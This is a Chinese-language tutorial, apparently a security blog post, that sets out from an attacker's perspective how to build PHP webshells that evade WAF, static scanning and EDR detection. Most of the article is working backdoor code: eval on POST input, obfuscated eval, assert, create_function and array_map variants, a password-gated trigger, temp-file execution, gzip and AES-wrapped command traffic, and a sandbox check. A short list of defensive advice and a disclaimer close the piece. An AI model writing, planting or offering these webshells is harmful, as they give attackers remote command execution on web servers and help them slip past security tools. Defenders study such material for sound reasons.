一、从防线的缺口看Webshell免杀
作为一名甲方安全工程师,你一定熟悉Webshell。它是攻击者进行Web服务器渗透的核心工具,具有极大的危害性。常见的防御策略包括WAF检测、文件上传过滤、代码静态扫描等。然而,面对日益进化的免杀技巧,这些防御手段往往显得力不从心。
问题来了:为什么传统防护手段对Webshell免杀逐渐失效?
攻击者的目的是绕过检测,核心思路是利用防护机制的漏洞或盲区,从静态特征的伪装到动态执行的精心设计,Webshell的免杀技术正变得越来越复杂。在本文中,我将站在攻击者的视角,逐步展示如何构造一个免杀的Webshell,并提供完整的实施代码和绕过思路。最终,你将能理解攻击者的逻辑,从而在防御上找到更有效的对策。
---
二、后门植入之路:绕过的起点

想要绕过现有防护机制,首先需要了解防护工具的工作原理。无论是杀毒软件、WAF还是防病毒引擎,它们的核心逻辑大致分为以下几点:
- 特征匹配:静态分析代码中常见的Webshell特征(例如
eval()、base64_decode()等)。 - 行为检测:分析文件在运行时的行为,例如动态解码和命令执行。
- 流量检测:捕捉HTTP请求中的异常数据包,如包含特殊指令的POST请求。
因此,绕过的本质是欺骗防护机制的规则。下面我们从不同层面逐步优化一个基础的Webshell,最终达到免杀效果。
---
三、静态免杀:隐藏关键特征
1. 普通PHP Webshell特征分析
一段最常见的PHP Webshell代码如下:
<pre><code class="language-php"><?php eval($_POST['cmd']); ?></code></pre>
这个Webshell的核心问题在于eval()函数会被静态特征规则直接识别。为了避免触发规则,我们需要对它进行代码混淆和特征隐藏。

2. 基础混淆
我们可以通过以下方法对eval()进行变形处理:
- 使用
base64_encode和base64_decode将代码隐藏起来。 - 动态生成关键函数名称,例如通过字符串拼接。
优化后的代码如下:
<pre><code class="language-php"><?php $cmd = base64_decode($_POST['cmd']); $func = 'e' . 'val'; // 动态拼接eval $func($cmd); ?></code></pre>
此处通过对eval关键字进行拆分,能够绕过简单的特征匹配规则。但这对于一些高端WAF来说仍然不够。
---
3. 高级特征伪装
进一步优化,我们可以彻底隐藏eval(),改用assert()或更高明的技巧,例如利用动态函数调用:
<pre><code class="language-php"><?php $payload = base64_decode($_POST['cmd']); create_function('', $payload)(); ?></code></pre>
或者利用PHP的array_map()逻辑执行代码:
<pre><code class="language-php"><?php $payload = base64_decode($_POST['cmd']); array_map('assert', [$payload]); ?></code></pre>
这种写法极大分散了Webshell的核心特征点,普通静态扫描工具很难精准捕获。
---
四、动态免杀:伪装运行行为
即使代码特征被隐藏,执行过程中仍会暴露异常行为,比如基于动态解码的代码执行。为了进一步提升免杀效果,我们需要从运行时行为出发进行伪装。
1. 延时执行与触发条件
攻击者可以设计一个隐蔽的触发机制,避免Webshell每次运行都暴露行为。例如:
<pre><code class="language-php"><?php if ($_POST['auth'] === 'secret_token') { eval(base64_decode($_POST['cmd'])); } ?></code></pre>
只有在提交正确的auth值时,后门才会被触发。这样可以避开主动扫描工具的触发条件。
---
2. 内存加载
为了减少文件中静态代码的暴露,攻击者可以通过内存加载的方式运行Webshell。以下是一个简单的例子:
<pre><code class="language-php"><?php $payload = base64_decode($_POST['cmd']); file_put_contents('/tmp/tmpfile.php', $payload); include('/tmp/tmpfile.php'); unlink('/tmp/tmpfile.php'); // 执行完删除 ?></code></pre>
这种方法利用临时文件隐藏了恶意代码的静态特征,但运行时会产生异常的文件操作行为。
---

3. 伪装流量内容
在流量层面,常见的Webshell会提交cmd参数来传输恶意指令。为了隐藏流量,我们可以对其进行伪装:
<pre><code class="language-php"><?php $input = $_POST['data']; $cmd = gzinflate(base64_decode($input)); eval($cmd); ?></code></pre>
攻击者将流量数据用base64和gzip压缩包装,进一步迷惑检测系统。
---
五、绕过EDR的对抗策略
当Webshell被上传到服务器后,EDR工具可能会对其行为进行分析。常见的对抗方法包括:
1. 逃避沙箱环境
攻击者可以加入检测沙箱的代码,例如通过请求时间或环境变量判断是否处于虚拟环境中:
<pre><code class="language-php"><?php if (getenv('VIRTUAL_ENV')) { die('Sandbox detected'); } eval($_POST['cmd']); ?></code></pre>

---
2. 加密通信
为了避免网络流量被检测,攻击者可能使用加密通信机制,比如将cmd数据通过AES加密后传输:
<pre><code class="language-php"><?php $key = 'secretkey'; $cmd = openssl_decrypt($_POST['data'], 'aes-256-cbc', $key); eval($cmd); ?></code></pre>
---
六、防御建议:对抗免杀的关键
虽然攻击者的手段不断升级,但防御并非无解。以下是几条关键的建议:
- 行为分析优先:对Webshell的检测应该从运行行为入手,避免单纯依赖静态特征匹配。
- 文件操作监控:实时记录和分析文件的创建、修改、删除行为,发现异常时立即报警。
- 环境隔离:将用户上传的文件运行在严格隔离的环境中,避免攻击者直接获取服务器权限。
- 流量分析:结合机器学习技术对HTTP流量进行深度解析,捕获可疑的通信模式。
---
七、个人实战提升的经验
- 模拟攻防对抗:在实验环境中重现攻击者的免杀技术,了解绕过的每个细节。
- 深入学习检测原理:研究WAF和EDR的具体规则和实现方式,找到漏洞后进行优化。
- 关注社区动态:时刻跟进前沿的Webshell免杀方法,并及时更新防护策略。
---
声明:本文仅供合法授权的安全测试和研究学习,任何非法使用造成的后果与作者无关!